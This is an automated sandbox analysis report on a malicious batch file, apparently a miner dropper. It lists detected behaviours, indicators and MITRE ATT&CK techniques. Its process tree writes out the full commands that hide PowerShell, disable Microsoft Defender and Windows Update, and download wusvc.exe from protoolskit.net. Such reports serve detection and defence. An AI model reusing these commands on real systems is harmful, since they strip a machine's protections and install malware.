2ae3e21e90fe64955652cdfee467a118bf9c4a1f608b46abc5212d33720cf66d

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies Windows Defender notification settings 3 TTPs 2 IoCs

defense_evasion trojan

Windows Service

Modify Registry

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	reg.exe

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1180	powershell.exe
3	1180	powershell.exe
4	6696	powershell.exe
5	6696	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1484	powershell.exe
1180	powershell.exe
6696	powershell.exe
5308	powershell.exe
2880	powershell.exe
6696	powershell.exe
1180	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

pid	Process
5308	powershell.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Launches sc.exe 6 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3980	sc.exe
6972	sc.exe
6704	sc.exe
7116	sc.exe
3948	sc.exe
3972	sc.exe

Delays execution with timeout.exe 3 IoCs

defense_evasion

pid	Process
7036	timeout.exe
2736	timeout.exe
1612	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1484	powershell.exe
1484	powershell.exe
2880	powershell.exe
2880	powershell.exe
5308	powershell.exe
5308	powershell.exe
1180	powershell.exe
1180	powershell.exe
6696	powershell.exe
6696	powershell.exe
6696	powershell.exe

Suspicious use of AdjustPrivilegeToken 26 IoCs

description	pid	Process
Token: SeDebugPrivilege	1484	powershell.exe
Token: SeDebugPrivilege	2880	powershell.exe
Token: SeDebugPrivilege	5308	powershell.exe
Token: SeIncreaseQuotaPrivilege	5308	powershell.exe
Token: SeSecurityPrivilege	5308	powershell.exe
Token: SeTakeOwnershipPrivilege	5308	powershell.exe
Token: SeLoadDriverPrivilege	5308	powershell.exe
Token: SeSystemProfilePrivilege	5308	powershell.exe
Token: SeSystemtimePrivilege	5308	powershell.exe
Token: SeProfSingleProcessPrivilege	5308	powershell.exe
Token: SeIncBasePriorityPrivilege	5308	powershell.exe
Token: SeCreatePagefilePrivilege	5308	powershell.exe
Token: SeBackupPrivilege	5308	powershell.exe
Token: SeRestorePrivilege	5308	powershell.exe
Token: SeShutdownPrivilege	5308	powershell.exe
Token: SeDebugPrivilege	5308	powershell.exe
Token: SeSystemEnvironmentPrivilege	5308	powershell.exe
Token: SeRemoteShutdownPrivilege	5308	powershell.exe
Token: SeUndockPrivilege	5308	powershell.exe
Token: SeManageVolumePrivilege	5308	powershell.exe
Token: 33	5308	powershell.exe
Token: 34	5308	powershell.exe
Token: 35	5308	powershell.exe
Token: 36	5308	powershell.exe
Token: SeDebugPrivilege	1180	powershell.exe
Token: SeDebugPrivilege	6696	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 6188 wrote to memory of 1484	6188	cmd.exe	92
PID 1484 wrote to memory of 3736	1484	powershell.exe	93
PID 3736 wrote to memory of 2880	3736	cmd.exe	95
PID 3736 wrote to memory of 2020	3736	cmd.exe	96
PID 3736 wrote to memory of 6092	3736	cmd.exe	97
PID 3736 wrote to memory of 5032	3736	cmd.exe	98
PID 3736 wrote to memory of 4784	3736	cmd.exe	99
PID 3736 wrote to memory of 6288	3736	cmd.exe	100
PID 3736 wrote to memory of 6400	3736	cmd.exe	101
PID 3736 wrote to memory of 1532	3736	cmd.exe	102
PID 3736 wrote to memory of 5308	3736	cmd.exe	103
PID 3736 wrote to memory of 7116	3736	cmd.exe	105
PID 3736 wrote to memory of 3948	3736	cmd.exe	106
PID 3736 wrote to memory of 3972	3736	cmd.exe	107
PID 3736 wrote to memory of 3980	3736	cmd.exe	108
PID 3736 wrote to memory of 3940	3736	cmd.exe	109
PID 3736 wrote to memory of 6972	3736	cmd.exe	110
PID 3736 wrote to memory of 6704	3736	cmd.exe	111
PID 3736 wrote to memory of 5600	3736	cmd.exe	112
PID 3736 wrote to memory of 1292	3736	cmd.exe	113
PID 3736 wrote to memory of 1180	3736	cmd.exe	114
PID 3736 wrote to memory of 7036	3736	cmd.exe	115
PID 3736 wrote to memory of 6696	3736	cmd.exe	116
PID 3736 wrote to memory of 2736	3736	cmd.exe	118
PID 3736 wrote to memory of 1612	3736	cmd.exe	119

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\mine.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:6188
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\mine.bat' -ArgumentList 'silent' -Verb RunAs -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1484
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\mine.bat" silent
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3736
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft\Update' -ExclusionPath 'C:\ProgramData' -ExclusionPath 'C:\' -ExclusionProcess 'wusvc.exe' -ExclusionProcess 'svchost.exe' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2880
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender DisableAntiSpyware settings
      PID:2020
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f
      4⤵
      PID:6092
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v TamperProtection /t REG_DWORD /d 0 /f
      4⤵
      PID:5032
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:4784
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:6288
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v DisableNotifications /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender notification settings
      PID:6400
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center" /v UILockdown /t REG_DWORD /d 1 /f
      4⤵
      PID:1532
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5308
  - - C:\Windows\system32\sc.exe
      sc config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:7116
  - - C:\Windows\system32\sc.exe
      sc stop WinDefend
      4⤵
      Launches sc.exe
      PID:3948
  - - C:\Windows\system32\sc.exe
      sc config SecurityHealthService start= disabled
      4⤵
      Launches sc.exe
      PID:3972
  - - C:\Windows\system32\sc.exe
      sc stop SecurityHealthService
      4⤵
      Launches sc.exe
      PID:3980
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      PID:3940
  - - C:\Windows\system32\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:6972
  - - C:\Windows\system32\sc.exe
      sc stop wuauserv
      4⤵
      Launches sc.exe
      PID:6704
  - - C:\Windows\system32\schtasks.exe
      schtasks /Change /TN "Microsoft\Windows\Windows Defender*" /Disable
      4⤵
      PID:5600
  - - C:\Windows\system32\schtasks.exe
      schtasks /Change /TN "Microsoft\Windows\UpdateOrchestrator*" /Disable
      4⤵
      PID:1292
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://protoolskit.net/wusvc.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\Microsoft\Update\wusvc.exe' -UseBasicParsing"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1180
  - - C:\Windows\system32\timeout.exe
      timeout /t 4
      4⤵
      Delays execution with timeout.exe
      PID:7036
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://protoolskit.net/updates/wusvc.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\Microsoft\Update\wusvc.exe' -UseBasicParsing"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6696
  - - C:\Windows\system32\timeout.exe
      timeout /t 4
      4⤵
      Delays execution with timeout.exe
      PID:2736
  - - C:\Windows\system32\timeout.exe
      timeout /t 8
      4⤵
      Delays execution with timeout.exe
      PID:1612

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry